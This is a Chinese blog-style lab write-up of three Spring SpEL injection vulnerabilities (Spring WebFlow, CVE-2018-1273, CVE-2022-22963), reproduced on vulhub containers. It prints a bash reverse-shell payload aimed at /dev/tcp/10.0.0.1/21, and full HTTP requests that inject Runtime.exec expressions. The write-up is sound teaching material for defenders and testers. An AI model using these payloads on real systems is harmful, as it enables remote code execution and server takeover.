赞
踩
目录
2、CVE-2018-1273(远程命令执行漏洞)(SPEL表达式注入漏洞)
3、CVE-2022-22963(SPEL命令表达式注入漏洞)
以下框架漏洞均为Spring的框架,博主将从漏洞原理以及漏洞利用上来讲解,代码层面来讲解可能需要后面一段时间,本篇章的框架漏洞也暂此告一段落了,后面也会更新新的内容知识。以下所有靶场均来自vulhub(肥肠好用,重点是免费)
由上我们知道了有这两个条件才能触发漏洞:
1.在 webflow 配置文件中 view-state 节点中指定了 model 属性,并且没有指定绑定的参数,即 view-state 中没有配置 binder 节点
2.而且 MvcViewFactoryCreator 类中 useSpringBeanBinding 默认值(false)未修改
(如果默认值被修改则执行不了表达式)
首先访问/login页面,输入账号密码
然后访问id为1的酒店http://your-ip:8080/hotels/1,点击预订按钮“Book Hotel”,填写相关信息后点击“Proceed”(从这一步,其实WebFlow就正式开始了):
修改数据包内容,对抓包的数据增加以下内容(反弹shell)记得url编码
_(new java.lang.ProcessBuilder("bash","-c","bash -i >& /dev/tcp/10.0.0.1/21 0>&1")).start()=vulhub
Spring Data是一个用于简化数据库访问,并支持云服务的开源框架,Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中,存在一处SpEL表达式注入漏洞,攻击者可以注入恶意SpEL表达式以执行任意命令。
反弹shell方法:创建一个文件写有反弹shell代码,让其远程访问并下载
确认目标项目中包含Spring-data-commons包和版本范围如下:
Spring Data Commons 1.13 to 113.10
Spring Data Commons 2.0 to 2.0.5
查看相关特性是否已经开启
1.@ EnableSpringDataWebSupport被显示声明
2.@ EnableSprinaDataWebSupport没有显示声明,而是采用了spring-boot样架的自动扫描特性当采用Spring-boot的自动扫描特性的时候,在启动时会自动加载SpringDataWebConfiguration类效果与上述相同
3.在非注解声明项目中,如果有如下声明,也考虑开启了相关的特性
### 漏洞影响范围
Spring Data Commons 1.13至1.13.10 (Ingalls SR10)
Spring Data REST 2.6至2.6.10 (Ingalls SR10)
Spring Data Commons 2.0至2.0.5 (Kay SR5)
Spring Data REST 3.0至3.0.5 (Kay SR5)
较旧的不受支持的版本也会受到影响
搭建容器后,进入users页面可以看到一个用户注册页面
抓包修改为以下内容并发送:
- POST /users?page=&size=5 HTTP/1.1
- Host: localhost:8080
- Connection: keep-alive
- Content-Length: 124
- Pragma: no-cache
- Cache-Control: no-cache
- Origin: http://localhost:8080
- Upgrade-Insecure-Requests: 1
- Content-Type: application/x-www-form-urlencoded
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.186 Safari/537.36
- Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
- Referer: http://localhost:8080/users?page=0&size=5
- Accept-Encoding: gzip, deflate, br
- Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
-
- username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("touch /tmp/success")]=&password=&repeatedPassword=
进入服务器:docker-compose exec spring bash,查看tmp目录,发现新创建了一个success文件!
由于Spring CloudFunction中RoutingFunction类的apply方法将请求头中的"spring.cloud.function.routing-expression"参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,当使用路由功能时,攻击者可利用该漏洞远程执行任意代码。
curl http://your-ip:8080/uppercase -H "Content-Type: text/plain" --data-binary test
这个请求的作用是将test字符串转换为大写形式,因为请求的路径是/uppercase,这很可能是一个服务器上的API,用于将请求的内容转换为大写形式并返回结果。
发送以下数据包,spring.cloud.function.routing-expression头中包含的SpEL表达式将会被执行
- POST /functionRouter HTTP/1.1
- Host: localhost:8080
- Accept-Encoding: gzip, deflate
- Accept: */*
- Accept-Language: en
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
- Connection: close
- spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")
- Content-Type: text/plain
- Content-Length: 4
-
- test
进入docker容器访问tmp目录发现success文件已经创建
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。